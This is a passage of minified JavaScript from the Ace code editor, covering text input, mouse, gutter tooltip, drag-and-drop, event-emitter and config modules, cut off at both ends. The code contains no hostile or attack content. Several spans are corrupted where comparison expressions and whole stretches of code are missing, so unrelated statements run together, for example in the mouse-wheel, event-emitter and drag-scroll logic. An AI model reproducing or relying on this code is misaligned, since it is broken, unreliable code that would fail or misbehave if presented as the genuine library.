k(e,t,!0)}}},D=function(e,o){var r=t.getCopyText();if(!r)return n.preventDefault(e);k(e,r)?(s.isIOS&&(g=o,i.value="\n aa"+r+"a a\n",i.setSelectionRange(4,4+r.length),d={value:r}),o?t.onCut():t.onCopy(),s.isIOS||n.preventDefault(e)):(d=!0,i.value=r,i.select(),setTimeout((function(){d=!1,b(),F(),o?t.onCut():t.onCopy()})))},L=function(e){D(e,!0)},R=function(e){D(e,!1)},_=function(e){var o=k(e);"string"==typeof o?(o&&t.onPaste(o,e),s.isIE&&setTimeout(F),n.preventDefault(e)):(i.value="",f=!0)};n.addCommandKeyListener(i,t.onCommandKey.bind(t)),n.addListener(i,"select",y),n.addListener(i,"input",B),n.addListener(i,"cut",L),n.addListener(i,"copy",R),n.addListener(i,"paste",_);var T,M=function(e){p||!t.onCompositionStart||t.$readOnly||(p={},p.canUndo=t.session.$undoManager,t.onCompositionStart(),setTimeout(O,0),t.on("mousedown",I),p.canUndo&&!t.selection.isEmpty()&&(t.insert(""),t.session.markUndoGroup(),t.selection.clearSelection()),t.session.markUndoGroup())},O=function(){if(p&&t.onCompositionUpdate&&!t.$readOnly){var e=i.value.replace(/\x01/g,"");if(p.lastValue!==e&&(t.onCompositionUpdate(e),p.lastValue&&t.undo(),p.canUndo&&(p.lastValue=e),p.lastValue)){var n=t.selection.getRange();t.insert(p.lastValue),t.session.markUndoGroup(),p.range=t.selection.getRange(),t.selection.setRange(n),t.selection.clearSelection()}}},I=function(e){if(t.onCompositionEnd&&!t.$readOnly){var n=p;p=!1;var o=setTimeout((function(){o=null;var e=i.value.replace(/\x01/g,"");p||(e==n.lastValue?b():!n.lastValue&&e&&(b(),x(e)))}));$=function(e){return o&&clearTimeout(o),e=e.replace(/\x01/g,""),e==n.lastValue?"":(n.lastValue&&o&&t.undo(),e)},t.onCompositionEnd(),t.removeListener("mousedown",I),"compositionend"==e.type&&n.range&&t.selection.setRange(n.range);var r=!!s.isChrome&&s.isChrome>=53||!!s.isWebKit&&s.isWebKit>=603;r&&B()}},W=r.delayedCall(O,50);function P(){clearTimeout(T),T=setTimeout((function(){m&&(i.style.cssText=m,m=""),null==t.renderer.$keepTextAreaAtCursor&&(t.renderer.$keepTextAreaAtCursor=!0,t.renderer.$moveTextAreaToCursor())}),0)}n.addListener(i,"compositionstart",M),s.isGecko?n.addListener(i,"text",(function(){W.schedule()})):(n.addListener(i,"keyup",(function(){W.schedule()})),n.addListener(i,"keydown",(function(){W.schedule()}))),n.addListener(i,"compositionend",I),this.getElement=function(){return i},this.setReadOnly=function(e){i.readOnly=e},this.onContextMenu=function(e){S=!0,F(t.selection.isEmpty()),t._emit("nativecontextmenu",{target:t,domEvent:e}),this.moveToMouse(e,!0)},this.moveToMouse=function(e,r){m||(m=i.style.cssText),i.style.cssText=(r?"z-index:100000;":"")+"height:"+i.style.height+";"+(s.isIE?"opacity:0.1;":"");var a=t.container.getBoundingClientRect(),l=o.computedStyle(t.container),c=a.top+(parseInt(l.borderTopWidth)||0),h=a.left+(parseInt(a.borderLeftWidth)||0),u=a.bottom-c-i.clientHeight-2,d=function(e){i.style.left=e.clientX-h-2+"px",i.style.top=Math.min(e.clientY-c-2,u)+"px"};d(e),"mousedown"==e.type&&(t.renderer.$keepTextAreaAtCursor&&(t.renderer.$keepTextAreaAtCursor=null),clearTimeout(T),s.isWin&&n.capture(t.container,d,P))},this.onContextMenuClose=P;var H=function(e){t.textInput.onContextMenu(e),P()};if(n.addListener(i,"mouseup",H),n.addListener(i,"mousedown",(function(e){e.preventDefault(),P()})),n.addListener(t.renderer.scroller,"contextmenu",H),n.addListener(i,"contextmenu",H),s.isIOS){var N=null,z=!1;e.addEventListener("keydown",(function(e){N&&clearTimeout(N),z=!0})),e.addEventListener("keyup",(function(e){N=setTimeout((function(){z=!1}),100)}));var V=function(e){if(document.activeElement===i&&!z){if(g)return setTimeout((function(){g=!1}),100);var n=i.selectionStart,s=i.selectionEnd;if(i.setSelectionRange(4,5),n==s)switch(n){case 0:t.onCommandKey(null,0,a.up);break;case 1:t.onCommandKey(null,0,a.home);break;case 2:t.onCommandKey(null,l.option,a.left);break;case 4:t.onCommandKey(null,0,a.left);break;case 5:t.onCommandKey(null,0,a.right);break;case 7:t.onCommandKey(null,l.option,a.right);break;case 8:t.onCommandKey(null,0,a.end);break;case 9:t.onCommandKey(null,0,a.down);break}else{switch(s){case 6:t.onCommandKey(null,l.shift,a.right);break;case 7:t.onCommandKey(null,l.shift|l.option,a.right);break;case 8:t.onCommandKey(null,l.shift,a.end);break;case 9:t.onCommandKey(null,l.shift,a.down);break}switch(n){case 0:t.onCommandKey(null,l.shift,a.up);break;case 1:t.onCommandKey(null,l.shift,a.home);break;case 2:t.onCommandKey(null,l.shift|l.option,a.left);break;case 3:t.onCommandKey(null,l.shift,a.left);break}}}};document.addEventListener("selectionchange",V),t.on("destroy",(function(){document.removeEventListener("selectionchange",V)}))}};t.TextInput=u})),ace.define("ace/keyboard/textinput",["require","exports","module","ace/lib/event","ace/lib/useragent","ace/lib/dom","ace/lib/lang","ace/keyboard/textinput_ios"],(function(e,t,i){"use strict";var n=e("../lib/event"),s=e("../lib/useragent"),o=e("../lib/dom"),r=e("../lib/lang"),a=s.isChrome<18,l=s.isIE,c=e("./textinput_ios").TextInput,h=function(e,t){if(s.isIOS)return c.call(this,e,t);var i=o.createElement("textarea");i.className="ace_text-input",i.setAttribute("wrap","off"),i.setAttribute("autocorrect","off"),i.setAttribute("autocapitalize","off"),i.setAttribute("spellcheck",!1),i.style.opacity="0",e.insertBefore(i,e.firstChild);var h="\u2028\u2028",u=!1,d=!1,g=!1,f="",p=!0;try{var m=document.activeElement===i}catch(P){}n.addListener(i,"blur",(function(e){t.onBlur(e),m=!1})),n.addListener(i,"focus",(function(e){m=!0,t.onFocus(e),C()})),this.focus=function(){if(f)return i.focus();var e=i.style.top;i.style.position="fixed",i.style.top="0px",i.focus(),setTimeout((function(){i.style.position="","0px"==i.style.top&&(i.style.top=e)}),0)},this.blur=function(){i.blur()},this.isFocused=function(){return m};var A=r.delayedCall((function(){m&&C(p)})),v=r.delayedCall((function(){g||(i.value=h,m&&C())}));function C(e){if(!g){if(g=!0,E)var t=0,n=e?0:i.value.length-1;else t=e?2:1,n=2;try{i.setSelectionRange(t,n)}catch(P){}g=!1}}function w(){g||(i.value=h,s.isWebKit&&v.schedule())}s.isWebKit||t.addEventListener("changeSelection",(function(){t.selection.isEmpty()!=p&&(p=!p,A.schedule())})),w(),m&&t.onFocus();var F=function(e){return 0===e.selectionStart&&e.selectionEnd===e.value.length},b=function(e){u?u=!1:F(i)?(t.selectAll(),C()):E&&C(t.selection.isEmpty())},E=null;this.setInputHandler=function(e){E=e},this.getInputHandler=function(){return E};var y=!1,$=function(e){E&&(e=E(e),E=null),d?(C(),e&&t.onPaste(e),d=!1):e==h.charAt(0)?y?t.execCommand("del",{source:"ace"}):t.execCommand("backspace",{source:"ace"}):(e.substring(0,2)==h?e=e.substr(2):e.charAt(0)==h.charAt(0)?e=e.substr(1):e.charAt(e.length-1)==h.charAt(0)&&(e=e.slice(0,-1)),e.charAt(e.length-1)==h.charAt(0)&&(e=e.slice(0,-1)),e&&t.onTextInput(e)),y&&(y=!1)},S=function(e){if(!g){var t=i.value;$(t),w()}},x=function(e,t,i){var n=e.clipboardData||window.clipboardData;if(n&&!a){var s=l||i?"Text":"text/plain";try{return t?!1!==n.setData(s,t):n.getData(s)}catch(e){if(!i)return x(e,t,!0)}}},B=function(e,s){var o=t.getCopyText();if(!o)return n.preventDefault(e);x(e,o)?(s?t.onCut():t.onCopy(),n.preventDefault(e)):(u=!0,i.value=o,i.select(),setTimeout((function(){u=!1,w(),C(),s?t.onCut():t.onCopy()})))},k=function(e){B(e,!0)},D=function(e){B(e,!1)},L=function(e){var o=x(e);"string"==typeof o?(o&&t.onPaste(o,e),s.isIE&&setTimeout(C),n.preventDefault(e)):(i.value="",d=!0)};n.addCommandKeyListener(i,t.onCommandKey.bind(t)),n.addListener(i,"select",b),n.addListener(i,"input",S),n.addListener(i,"cut",k),n.addListener(i,"copy",D),n.addListener(i,"paste",L),"oncut"in i&&"oncopy"in i&&"onpaste"in i||n.addListener(e,"keydown",(function(e){if((!s.isMac||e.metaKey)&&e.ctrlKey)switch(e.keyCode){case 67:D(e);break;case 86:L(e);break;case 88:k(e);break}}));var R,_=function(e){g||!t.onCompositionStart||t.$readOnly||(g={},g.canUndo=t.session.$undoManager,t.onCompositionStart(),setTimeout(T,0),t.on("mousedown",M),g.canUndo&&!t.selection.isEmpty()&&(t.insert(""),t.session.markUndoGroup(),t.selection.clearSelection()),t.session.markUndoGroup())},T=function(){if(g&&t.onCompositionUpdate&&!t.$readOnly){var e=i.value.replace(/\u2028/g,"");if(g.lastValue!==e&&(t.onCompositionUpdate(e),g.lastValue&&t.undo(),g.canUndo&&(g.lastValue=e),g.lastValue)){var n=t.selection.getRange();t.insert(g.lastValue),t.session.markUndoGroup(),g.range=t.selection.getRange(),t.selection.setRange(n),t.selection.clearSelection()}}},M=function(e){if(t.onCompositionEnd&&!t.$readOnly){var n=g;g=!1;var o=setTimeout((function(){o=null;var e=i.value.replace(/\u2028/g,"");g||(e==n.lastValue?w():!n.lastValue&&e&&(w(),$(e)))}));E=function(e){return o&&clearTimeout(o),e=e.replace(/\u2028/g,""),e==n.lastValue?"":(n.lastValue&&o&&t.undo(),e)},t.onCompositionEnd(),t.removeListener("mousedown",M),"compositionend"==e.type&&n.range&&t.selection.setRange(n.range);var r=!!s.isChrome&&s.isChrome>=53||!!s.isWebKit&&s.isWebKit>=603;r&&S()}},O=r.delayedCall(T,50);function I(){clearTimeout(R),R=setTimeout((function(){f&&(i.style.cssText=f,f=""),null==t.renderer.$keepTextAreaAtCursor&&(t.renderer.$keepTextAreaAtCursor=!0,t.renderer.$moveTextAreaToCursor())}),0)}n.addListener(i,"compositionstart",_),s.isGecko?n.addListener(i,"text",(function(){O.schedule()})):(n.addListener(i,"keyup",(function(){O.schedule()})),n.addListener(i,"keydown",(function(){O.schedule()}))),n.addListener(i,"compositionend",M),this.getElement=function(){return i},this.setReadOnly=function(e){i.readOnly=e},this.onContextMenu=function(e){y=!0,C(t.selection.isEmpty()),t._emit("nativecontextmenu",{target:t,domEvent:e}),this.moveToMouse(e,!0)},this.moveToMouse=function(e,r){f||(f=i.style.cssText),i.style.cssText=(r?"z-index:100000;":"")+"height:"+i.style.height+";"+(s.isIE?"opacity:0.1;":"");var a=t.container.getBoundingClientRect(),l=o.computedStyle(t.container),c=a.top+(parseInt(l.borderTopWidth)||0),h=a.left+(parseInt(a.borderLeftWidth)||0),u=a.bottom-c-i.clientHeight-2,d=function(e){i.style.left=e.clientX-h-2+"px",i.style.top=Math.min(e.clientY-c-2,u)+"px"};d(e),"mousedown"==e.type&&(t.renderer.$keepTextAreaAtCursor&&(t.renderer.$keepTextAreaAtCursor=null),clearTimeout(R),s.isWin&&n.capture(t.container,d,I))},this.onContextMenuClose=I;var W=function(e){t.textInput.onContextMenu(e),I()};n.addListener(i,"mouseup",W),n.addListener(i,"mousedown",(function(e){e.preventDefault(),I()})),n.addListener(t.renderer.scroller,"contextmenu",W),n.addListener(i,"contextmenu",W)};t.TextInput=h})),ace.define("ace/mouse/default_handlers",["require","exports","module","ace/lib/dom","ace/lib/event","ace/lib/useragent"],(function(e,t,i){"use strict";e("../lib/dom"),e("../lib/event");var n=e("../lib/useragent"),s=0,o=250;function r(e){e.$clickSelection=null;var t=e.editor;t.setDefaultHandler("mousedown",this.onMouseDown.bind(e)),t.setDefaultHandler("dblclick",this.onDoubleClick.bind(e)),t.setDefaultHandler("tripleclick",this.onTripleClick.bind(e)),t.setDefaultHandler("quadclick",this.onQuadClick.bind(e)),t.setDefaultHandler("mousewheel",this.onMouseWheel.bind(e)),t.setDefaultHandler("touchmove",this.onTouchMove.bind(e));var i=["select","startSelect","selectEnd","selectAllEnd","selectByWordsEnd","selectByLinesEnd","dragWait","dragWaitEnd","focusWait"];i.forEach((function(t){e[t]=this[t]}),this),e.selectByLines=this.extendSelectionBy.bind(e,"getLineRange"),e.selectByWords=this.extendSelectionBy.bind(e,"getWordRange")}function a(e,t,i,n){return Math.sqrt(Math.pow(i-e,2)+Math.pow(n-t,2))}function l(e,t){if(e.start.row==e.end.row)var i=2*t.column-e.start.column-e.end.column;else if(e.start.row!=e.end.row-1||e.start.column||e.end.column)i=2*t.row-e.start.row-e.end.row;else var i=t.column-4;return i<0?{cursor:e.start,anchor:e.end}:{cursor:e.end,anchor:e.start}}(function(){this.onMouseDown=function(e){var t=e.inSelection(),i=e.getDocumentPosition();this.mousedownEvent=e;var s=this.editor,o=e.getButton();if(0!==o){var r=s.getSelectionRange(),a=r.isEmpty();return s.$blockScrolling++,(a||1==o)&&s.selection.moveToPosition(i),s.$blockScrolling--,void(2==o&&(s.textInput.onContextMenu(e.domEvent),n.isMozilla||e.preventDefault()))}return this.mousedownEvent.time=Date.now(),!t||s.isFocused()||(s.focus(),!this.$focusTimout||this.$clickSelection||s.inMultiSelectMode)?(this.captureMouse(e),this.startSelect(i,e.domEvent._clicks>1),e.preventDefault()):(this.setState("focusWait"),void this.captureMouse(e))},this.startSelect=function(e,t){e=e||this.editor.renderer.screenToTextCoordinates(this.x,this.y);var i=this.editor;i.$blockScrolling++,this.mousedownEvent.getShiftKey()?i.selection.selectToPosition(e):t||i.selection.moveToPosition(e),t||this.select(),i.renderer.scroller.setCapture&&i.renderer.scroller.setCapture(),i.setStyle("ace_selecting"),this.setState("select"),i.$blockScrolling--},this.select=function(){var e,t=this.editor,i=t.renderer.screenToTextCoordinates(this.x,this.y);if(t.$blockScrolling++,this.$clickSelection){var n=this.$clickSelection.comparePoint(i);if(-1==n)e=this.$clickSelection.end;else if(1==n)e=this.$clickSelection.start;else{var s=l(this.$clickSelection,i);i=s.cursor,e=s.anchor}t.selection.setSelectionAnchor(e.row,e.column)}t.selection.selectToPosition(i),t.$blockScrolling--,t.renderer.scrollCursorIntoView()},this.extendSelectionBy=function(e){var t,i=this.editor,n=i.renderer.screenToTextCoordinates(this.x,this.y),s=i.selection[e](n.row,n.column);if(i.$blockScrolling++,this.$clickSelection){var o=this.$clickSelection.comparePoint(s.start),r=this.$clickSelection.comparePoint(s.end);if(-1==o&&r<=0)t=this.$clickSelection.end,s.end.row==n.row&&s.end.column==n.column||(n=s.start);else if(1==r&&o>=0)t=this.$clickSelection.start,s.start.row==n.row&&s.start.column==n.column||(n=s.end);else if(-1==o&&1==r)n=s.end,t=s.start;else{var a=l(this.$clickSelection,n);n=a.cursor,t=a.anchor}i.selection.setSelectionAnchor(t.row,t.column)}i.selection.selectToPosition(n),i.$blockScrolling--,i.renderer.scrollCursorIntoView()},this.selectEnd=this.selectAllEnd=this.selectByWordsEnd=this.selectByLinesEnd=function(){this.$clickSelection=null,this.editor.unsetStyle("ace_selecting"),this.editor.renderer.scroller.releaseCapture&&this.editor.renderer.scroller.releaseCapture()},this.focusWait=function(){var e=a(this.mousedownEvent.x,this.mousedownEvent.y,this.x,this.y),t=Date.now();(e>s||t-this.mousedownEvent.time>this.$focusTimout)&&this.startSelect(this.mousedownEvent.getDocumentPosition())},this.onDoubleClick=function(e){var t=e.getDocumentPosition(),i=this.editor,n=i.session,s=n.getBracketRange(t);s?(s.isEmpty()&&(s.start.column--,s.end.column++),this.setState("select")):(s=i.selection.getWordRange(t.row,t.column),this.setState("selectByWords")),this.$clickSelection=s,this.select()},this.onTripleClick=function(e){var t=e.getDocumentPosition(),i=this.editor;this.setState("selectByLines");var n=i.getSelectionRange();n.isMultiLine()&&n.contains(t.row,t.column)?(this.$clickSelection=i.selection.getLineRange(n.start.row),this.$clickSelection.end=i.selection.getLineRange(n.end.row).end):this.$clickSelection=i.selection.getLineRange(t.row),this.select()},this.onQuadClick=function(e){var t=this.editor;t.selectAll(),this.$clickSelection=t.getSelectionRange(),this.setState("selectAll")},this.onMouseWheel=function(e){if(!e.getAccelKey()){e.getShiftKey()&&e.wheelY&&!e.wheelX&&(e.wheelX=e.wheelY,e.wheelY=0);var t=this.editor;this.$lastScroll||(this.$lastScroll={t:0,vx:0,vy:0,allowed:0});var i=this.$lastScroll,n=e.domEvent.timeStamp,s=n-i.t,r=e.wheelX/s,a=e.wheelY/s;s=1&&t.renderer.isScrollableBy(e.wheelX*e.speed,0)&&(c=!0),l<=1&&t.renderer.isScrollableBy(0,e.wheelY*e.speed)&&(c=!0),c)i.allowed=n;else if(n-i.allowedr.session.documentToScreenRow(h.row,h.column))return u()}if(s!=n)if(s=n.text.join("
"),c.setHtml(s),c.show(),r._signal("showGutterTooltip",c),r.on("mousewheel",u),e.$tooltipFollowsMouse)d(i);else{var g=i.domEvent.target,f=g.getBoundingClientRect(),p=c.getElement().style;p.left=f.right+"px",p.top=f.bottom+"px"}}function u(){t&&(t=clearTimeout(t)),s&&(c.hide(),s=null,r._signal("hideGutterTooltip",c),r.removeEventListener("mousewheel",u))}function d(e){c.setPosition(e.x,e.y)}e.editor.setDefaultHandler("guttermousedown",(function(t){if(r.isFocused()&&0==t.getButton()){var i=a.getRegion(t);if("foldWidgets"!=i){var n=t.getDocumentPosition().row,s=r.session.selection;if(t.getShiftKey())s.selectTo(n,0);else{if(2==t.domEvent.detail)return r.selectAll(),t.preventDefault();e.$clickSelection=r.selection.getLineRange(n)}return e.setState("selectByLines"),e.captureMouse(t),t.preventDefault()}}})),e.editor.setDefaultHandler("guttermousemove",(function(o){var r=o.domEvent.target||o.domEvent.srcElement;if(n.hasCssClass(r,"ace_fold-widget"))return u();s&&e.$tooltipFollowsMouse&&d(o),i=o,t||(t=setTimeout((function(){t=null,i&&!e.isMousePressed?h():u()}),50))})),o.addListener(r.renderer.$gutter,"mouseout",(function(e){i=null,s&&!t&&(t=setTimeout((function(){t=null,u()}),50))})),r.on("changeSession",u)}function l(e){r.call(this,e)}s.inherits(l,r),function(){this.setPosition=function(e,t){var i=window.innerWidth||document.documentElement.clientWidth,n=window.innerHeight||document.documentElement.clientHeight,s=this.getWidth(),o=this.getHeight();e+=15,t+=15,e+s>i&&(e-=e+s-i),t+o>n&&(t-=20+o),r.prototype.setPosition.call(this,e,t)}}.call(l.prototype),t.GutterHandler=a})),ace.define("ace/mouse/mouse_event",["require","exports","module","ace/lib/event","ace/lib/useragent"],(function(e,t,i){"use strict";var n=e("../lib/event"),s=e("../lib/useragent"),o=t.MouseEvent=function(e,t){this.domEvent=e,this.editor=t,this.x=this.clientX=e.clientX,this.y=this.clientY=e.clientY,this.$pos=null,this.$inSelection=null,this.propagationStopped=!1,this.defaultPrevented=!1};(function(){this.stopPropagation=function(){n.stopPropagation(this.domEvent),this.propagationStopped=!0},this.preventDefault=function(){n.preventDefault(this.domEvent),this.defaultPrevented=!0},this.stop=function(){this.stopPropagation(),this.preventDefault()},this.getDocumentPosition=function(){return this.$pos||(this.$pos=this.editor.renderer.screenToTextCoordinates(this.clientX,this.clientY)),this.$pos},this.inSelection=function(){if(null!==this.$inSelection)return this.$inSelection;var e=this.editor,t=e.getSelectionRange();if(t.isEmpty())this.$inSelection=!1;else{var i=this.getDocumentPosition();this.$inSelection=t.contains(i.row,i.column)}return this.$inSelection},this.getButton=function(){return n.getButton(this.domEvent)},this.getShiftKey=function(){return this.domEvent.shiftKey},this.getAccelKey=s.isMac?function(){return this.domEvent.metaKey}:function(){return this.domEvent.ctrlKey}}).call(o.prototype)})),ace.define("ace/mouse/dragdrop_handler",["require","exports","module","ace/lib/dom","ace/lib/event","ace/lib/useragent"],(function(e,t,i){"use strict";var n=e("../lib/dom"),s=e("../lib/event"),o=e("../lib/useragent"),r=200,a=200,l=5;function c(e){var t=e.editor,i=n.createElement("img");i.src="data:image/gif;base64,R0lGODlhAQABAAAAACH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==",o.isOpera&&(i.style.cssText="width:1px;height:1px;position:fixed;top:0;left:0;z-index:2147483647;opacity:0;");var c=["dragWait","dragWaitEnd","startDrag","dragReadyEnd","onMouseDrag"];c.forEach((function(t){e[t]=this[t]}),this),t.addEventListener("mousedown",this.onMouseDown.bind(e));var u,d,g,f,p,m,A,v,C,w,F,b=t.container,E=0;function y(e,i){var n=Date.now(),s=!i||e.row!=i.row,o=!i||e.column!=i.column;if(!w||s||o)t.$blockScrolling+=1,t.moveCursorToPosition(e),t.$blockScrolling-=1,w=n,F={x:d,y:g};else{var r=h(F.x,F.y,d,g);r>l?w=null:n-w>=a&&(t.renderer.scrollCursorIntoView(),w=null)}}function $(e,i){var n=Date.now(),s=t.renderer.layerConfig.lineHeight,o=t.renderer.layerConfig.characterWidth,a=t.renderer.scroller.getBoundingClientRect(),l={x:{left:d-a.left,right:a.right-d},y:{top:g-a.top,bottom:a.bottom-g}},c=Math.min(l.x.left,l.x.right),h=Math.min(l.y.top,l.y.bottom),u={row:e.row,column:e.column};c/o<=2&&(u.column+=l.x.left=r&&t.renderer.scrollCursorIntoView(u):C=n:C=null}function S(){var e=m;m=t.renderer.screenToTextCoordinates(d,g),y(m,e),$(m,e)}function x(){p=t.selection.toOrientedRange(),u=t.session.addMarker(p,"ace_selection",t.getSelectionStyle()),t.clearSelection(),t.isFocused()&&t.renderer.$cursorLayer.setBlinking(!1),clearInterval(f),S(),f=setInterval(S,20),E=0,s.addListener(document,"mousemove",D)}function B(){clearInterval(f),t.session.removeMarker(u),u=null,t.$blockScrolling+=1,t.selection.fromOrientedRange(p),t.$blockScrolling-=1,t.isFocused()&&!v&&t.renderer.$cursorLayer.setBlinking(!t.getReadOnly()),p=null,m=null,E=0,C=null,w=null,s.removeListener(document,"mousemove",D)}this.onDragStart=function(e){if(this.cancelDrag||!b.draggable){var n=this;return setTimeout((function(){n.startSelect(),n.captureMouse(e)}),0),e.preventDefault()}p=t.getSelectionRange();var s=e.dataTransfer;s.effectAllowed=t.getReadOnly()?"copy":"copyMove",o.isOpera&&(t.container.appendChild(i),i.scrollTop=0),s.setDragImage&&s.setDragImage(i,0,0),o.isOpera&&t.container.removeChild(i),s.clearData(),s.setData("Text",t.session.getTextRange()),v=!0,this.setState("drag")},this.onDragEnd=function(e){if(b.draggable=!1,v=!1,this.setState(null),!t.getReadOnly()){var i=e.dataTransfer.dropEffect;A||"move"!=i||t.session.remove(t.getSelectionRange()),t.renderer.$cursorLayer.setBlinking(!0)}this.editor.unsetStyle("ace_dragging"),this.editor.renderer.setCursorStyle("")},this.onDragEnter=function(e){if(!t.getReadOnly()&&L(e.dataTransfer))return d=e.clientX,g=e.clientY,u||x(),E++,e.dataTransfer.dropEffect=A=R(e),s.preventDefault(e)},this.onDragOver=function(e){if(!t.getReadOnly()&&L(e.dataTransfer))return d=e.clientX,g=e.clientY,u||(x(),E++),null!==k&&(k=null),e.dataTransfer.dropEffect=A=R(e),s.preventDefault(e)},this.onDragLeave=function(e){if(E--,E<=0&&u)return B(),A=null,s.preventDefault(e)},this.onDrop=function(e){if(m){var i=e.dataTransfer;if(v)switch(A){case"move":p=p.contains(m.row,m.column)?{start:m,end:m}:t.moveText(p,m);break;case"copy":p=t.moveText(p,m,!0);break}else{var n=i.getData("Text");p={start:m,end:t.session.insert(m,n)},t.focus(),A=null}return B(),s.preventDefault(e)}},s.addListener(b,"dragstart",this.onDragStart.bind(e)),s.addListener(b,"dragend",this.onDragEnd.bind(e)),s.addListener(b,"dragenter",this.onDragEnter.bind(e)),s.addListener(b,"dragover",this.onDragOver.bind(e)),s.addListener(b,"dragleave",this.onDragLeave.bind(e)),s.addListener(b,"drop",this.onDrop.bind(e));var k=null;function D(){null==k&&(k=setTimeout((function(){null!=k&&u&&B()}),20))}function L(e){var t=e.types;return!t||Array.prototype.some.call(t,(function(e){return"text/plain"==e||"Text"==e}))}function R(e){var t=["copy","copymove","all","uninitialized"],i=["move","copymove","linkmove","all","uninitialized"],n=o.isMac?e.altKey:e.ctrlKey,s="uninitialized";try{s=e.dataTransfer.effectAllowed.toLowerCase()}catch(e){}var r="none";return n&&t.indexOf(s)>=0?r="copy":i.indexOf(s)>=0?r="move":t.indexOf(s)>=0&&(r="copy"),r}}function h(e,t,i,n){return Math.sqrt(Math.pow(i-e,2)+Math.pow(n-t,2))}(function(){this.dragWait=function(){var e=Date.now()-this.mousedownEvent.time;e>this.editor.getDragDelay()&&this.startDrag()},this.dragWaitEnd=function(){var e=this.editor.container;e.draggable=!1,this.startSelect(this.mousedownEvent.getDocumentPosition()),this.selectEnd()},this.dragReadyEnd=function(e){this.editor.renderer.$cursorLayer.setBlinking(!this.editor.getReadOnly()),this.editor.unsetStyle("ace_dragging"),this.editor.renderer.setCursorStyle(""),this.dragWaitEnd()},this.startDrag=function(){this.cancelDrag=!1;var e=this.editor,t=e.container;t.draggable=!0,e.renderer.$cursorLayer.setBlinking(!1),e.setStyle("ace_dragging");var i=o.isWin?"default":"move";e.renderer.setCursorStyle(i),this.setState("dragReady")},this.onMouseDrag=function(e){var t=this.editor.container;if(o.isIE&&"dragReady"==this.state){var i=h(this.mousedownEvent.x,this.mousedownEvent.y,this.x,this.y);i>3&&t.dragDrop()}if("dragWait"===this.state){i=h(this.mousedownEvent.x,this.mousedownEvent.y,this.x,this.y);i>0&&(t.draggable=!1,this.startSelect(this.mousedownEvent.getDocumentPosition()))}},this.onMouseDown=function(e){if(this.$dragEnabled){this.mousedownEvent=e;var t=this.editor,i=e.inSelection(),n=e.getButton(),s=e.domEvent.detail||1;if(1===s&&0===n&&i){if(e.editor.inMultiSelectMode&&(e.getAccelKey()||e.getShiftKey()))return;this.mousedownEvent.time=Date.now();var r=e.domEvent.target||e.domEvent.srcElement;if("unselectable"in r&&(r.unselectable="on"),t.getDragDelay()){if(o.isWebKit){this.cancelDrag=!0;var a=t.container;a.draggable=!0}this.setState("dragWait")}else this.startDrag();this.captureMouse(e,this.onMouseDrag.bind(this)),e.defaultPrevented=!0}}}}).call(c.prototype),t.DragdropHandler=c})),ace.define("ace/lib/net",["require","exports","module","ace/lib/dom"],(function(e,t,i){"use strict";var n=e("./dom");t.get=function(e,t){var i=new XMLHttpRequest;i.open("GET",e,!0),i.onreadystatechange=function(){4===i.readyState&&t(i.responseText)},i.send(null)},t.loadScript=function(e,t){var i=n.getDocumentHead(),s=document.createElement("script");s.src=e,i.appendChild(s),s.onload=s.onreadystatechange=function(e,i){!i&&s.readyState&&"loaded"!=s.readyState&&"complete"!=s.readyState||(s=s.onload=s.onreadystatechange=null,i||t())}},t.qualifyURL=function(e){var t=document.createElement("a");return t.href=e,t.href}})),ace.define("ace/lib/event_emitter",["require","exports","module"],(function(e,t,i){"use strict";var n={},s=function(){this.propagationStopped=!0},o=function(){this.defaultPrevented=!0};n._emit=n._dispatchEvent=function(e,t){this._eventRegistry||(this._eventRegistry={}),this._defaultHandlers||(this._defaultHandlers={});var i=this._eventRegistry[e]||[],n=this._defaultHandlers[e];if(i.length||n){"object"==typeof t&&t||(t={}),t.type||(t.type=e),t.stopPropagation||(t.stopPropagation=s),t.preventDefault||(t.preventDefault=o),i=i.slice();for(var r=0;r1&&(s=i[i.length-2]);var r=l[t+"Path"];return null==r?r=l.basePath:"/"==n&&(t=n=""),r&&"/"!=r.slice(-1)&&(r+="/"),r+t+n+s+this.get("suffix")},t.setModuleUrl=function(e,t){return l.$moduleUrls[e]=t},t.$loading={},t.loadModule=function(i,n){var s,r;Array.isArray(i)&&(r=i[0],i=i[1]);try{s=e(i)}catch(l){}if(s&&!t.$loading[i])return n&&n(s);if(t.$loading[i]||(t.$loading[i]=[]),t.$loading[i].push(n),!(t.$loading[i].length>1)){var a=function(){e([i],(function(e){t._emit("load.module",{name:i,module:e});var n=t.$loading[i];t.$loading[i]=null,n.forEach((function(t){t&&t(e)}))}))};if(!t.get("packaged"))return a();o.loadScript(t.moduleUrl(i,r),a)}},c(!0),t.init=c})),ace.define("ace/mouse/mouse_handler",["require","exports","module","ace/lib/event","ace/lib/useragent","ace/mouse/default_handlers","ace/mouse/default_gutter_handler","ace/mouse/mouse_event","ace/mouse/dragdrop_handler","ace/config"],(function(e,t,i){"use strict";var n=e("../lib/event"),s=e("../lib/useragent"),o=e("./default_handlers").DefaultHandlers,r=e("./default_gutter_handler").GutterHandler,a=e("./mouse_event").MouseEvent,l=e("./dragdrop_handler").DragdropHandler,c=e("../config"),h=function(e){var t=this;this.editor=e,new o(this),new r(this),new l(this);var i=function(t){var i=!document.hasFocus||!document.hasFocus()||!e.isFocused()&&document.activeElement==(e.textInput&&e.textInput.getElement());i&&window.focus(),e.focus()},a=e.renderer.getMouseEventTarget();n.addListener(a,"click",this.onMouseEvent.bind(this,"click")),n.addListener(a,"mousemove",this.onMouseMove.bind(this,"mousemove")),n.addMultiMouseDownListener([a,e.renderer.scrollBarV&&e.renderer.scrollBarV.inner,e.renderer.scrollBarH&&e.renderer.scrollBarH.inner,e.textInput&&e.textInput.getElement()].filter(Boolean),[400,300,250],this,"onMouseEvent"),n.addMouseWheelListener(e.container,this.onMouseWheel.bind(this,"mousewheel")),n.addTouchMoveListener(e.container,this.onTouchMove.bind(this,"touchmove"));var c=e.renderer.$gutter;n.addListener(c,"mousedown",this.onMouseEvent.bind(this,"guttermousedown")),n.addListener(c,"click",this.onMouseEvent.bind(this,"gutterclick")),n.addListener(c,"dblclick",this.onMouseEvent.bind(this,"gutterdblclick")),n.addListener(c,"mousemove",this.onMouseEvent.bind(this,"guttermousemove")),n.addListener(a,"mousedown",i),n.addListener(c,"mousedown",i),s.isIE&&e.renderer.scrollBarV&&(n.addListener(e.renderer.scrollBarV.element,"mousedown",i),n.addListener(e.renderer.scrollBarH.element,"mousedown",i)),e.on("mousemove",(function(i){if(!t.state&&!t.$dragDelay&&t.$dragEnabled){var 